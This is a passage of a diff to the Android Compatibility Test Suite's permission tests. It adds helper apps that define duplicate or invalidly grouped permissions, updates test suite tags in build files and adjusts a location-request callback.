-            new Handler(Looper.getMainLooper()).postDelayed(() -> {
-                Criteria crit = new Criteria();
-                crit.setAccuracy(ACCURACY_FINE);
+            Criteria crit = new Criteria();
+            crit.setAccuracy(ACCURACY_FINE);
 
-                AccessLocationOnCommand.this.getSystemService(LocationManager.class)
-                        .requestSingleUpdate(crit, new LocationListener() {
-                            @Override
-                            public void onLocationChanged(Location location) {
-                            }
+            AccessLocationOnCommand.this.getSystemService(LocationManager.class)
+                    .requestSingleUpdate(crit, new LocationListener() {
+                        @Override
+                        public void onLocationChanged(Location location) {
+                        }
 
-                            @Override
-                            public void onStatusChanged(String provider, int status,
-                                    Bundle extras) {
-                            }
+                        @Override
+                        public void onStatusChanged(String provider, int status,
+                                Bundle extras) {
+                        }
 
-                            @Override
-                            public void onProviderEnabled(String provider) {
-                            }
+                        @Override
+                        public void onProviderEnabled(String provider) {
+                        }
 
-                            @Override
-                            public void onProviderDisabled(String provider) {
-                            }
-                        }, null);
-            }, BACKGROUND_ACCESS_SETTLE_TIME);
+                        @Override
+                        public void onProviderDisabled(String provider) {
+                        }
+                    }, Looper.getMainLooper());
         }
     };
 
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
new file mode 100644
index 0000000..08946e8
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionA",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey1",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionA/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionA/AndroidManifest.xml
new file mode 100644
index 0000000..2a80301
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionA/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatalsodefinespermissiona">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.groupA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
new file mode 100644
index 0000000..8487923
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionADifferentCert",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/AndroidManifest.xml
new file mode 100644
index 0000000..d333bf6
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissiona.differentcert">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
new file mode 100644
index 0000000..dd6d36a
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionGroupADifferentCert",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/AndroidManifest.xml
new file mode 100644
index 0000000..59cd518
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissiongroupa.differentcert">
+
+    <permission-group android:name="com.android.cts.duplicatepermission.groupA"
+                      android:label="groupA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
new file mode 100644
index 0000000..8aed828
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionGroupADifferentCert30",
+    defaults: ["cts_defaults"],
+    sdk_version: "30",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/AndroidManifest.xml
new file mode 100644
index 0000000..43ed9db
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissiongroupa.differentcert30">
+
+    <permission-group android:name="com.android.cts.duplicatepermission.groupA"
+                      android:label="groupA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
new file mode 100644
index 0000000..29f8d52
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionA",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey1",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionA/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionA/AndroidManifest.xml
new file mode 100644
index 0000000..527618c
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionA/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.permission.cts.appthatdefinespermissiona">
+    <permission-group android:name="com.android.cts.duplicatepermission.groupA"
+                      android:label="groupA"/>
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.groupA"/>
+
+    <application/>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
new file mode 100644
index 0000000..827e340
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionWithInvalidGroup",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/AndroidManifest.xml
new file mode 100644
index 0000000..8abd4cc
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissionwithinvalidgroup">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.invalid"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
new file mode 100644
index 0000000..7e0bc5d
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionWithInvalidGroup30",
+    defaults: ["cts_defaults"],
+    sdk_version: "30",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/AndroidManifest.xml
new file mode 100644
index 0000000..2fc662c
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup30/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissionwithinvalidgroup30">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.invalid"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
new file mode 100644
index 0000000..1889d38
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionInPlatformGroup",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/AndroidManifest.xml
new file mode 100644
index 0000000..d4709eb
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithPlatformGroup/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissioninplatformgroup">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="android.permission-group.CAMERA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index 12d94af..afb6742 100644
--- a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppThatDefinesUndefinedPermissionGroupElement",
     defaults: ["cts_defaults"],
@@ -26,6 +22,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.kt"],
 }
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index a93a23f..5da4a94 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppThatDoesNotHaveBgLocationAccess",
     defaults: ["cts_defaults"],
@@ -27,5 +23,6 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
index 872d1e4..924e121 100644
--- a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsContactsAndCallLogPermission16",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
index 71189b2..80cc837 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsContactsPermission15",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
index 5642900..8d1eb39 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsContactsPermission16",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp
new file mode 100644
index 0000000..0ecec2b
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAppThatRequestsLocationAndBackgroundPermission28",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/AndroidManifest.xml b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/AndroidManifest.xml
new file mode 100644
index 0000000..626ee3d
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission28/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission"
+    android:versionCode="3">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+
+    <!-- The ACCESS_BACKGROUND_LOCATION was added for API 29. But apps targeting lower APK levels
+    can still request it to signal that they are aware of this new behavior -->
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
index ff5df61..0526fd9 100644
--- a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationAndBackgroundPermission29",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
index 26e7c7a..d0e6a32 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission22",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
index 6ab35ca..d77db88 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission28",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
index dcfaffe..467e62b 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission29",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
index 2b5f3d8..72ba7d0 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsLocationPermission29v4",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
index 28f337c..1f8a50a 100644
--- a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
+++ b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsOneTimePermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index 1fd6a27..186dcc9 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatRequestsPermissionAandB",
     defaults: ["cts_defaults"],
@@ -27,6 +23,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
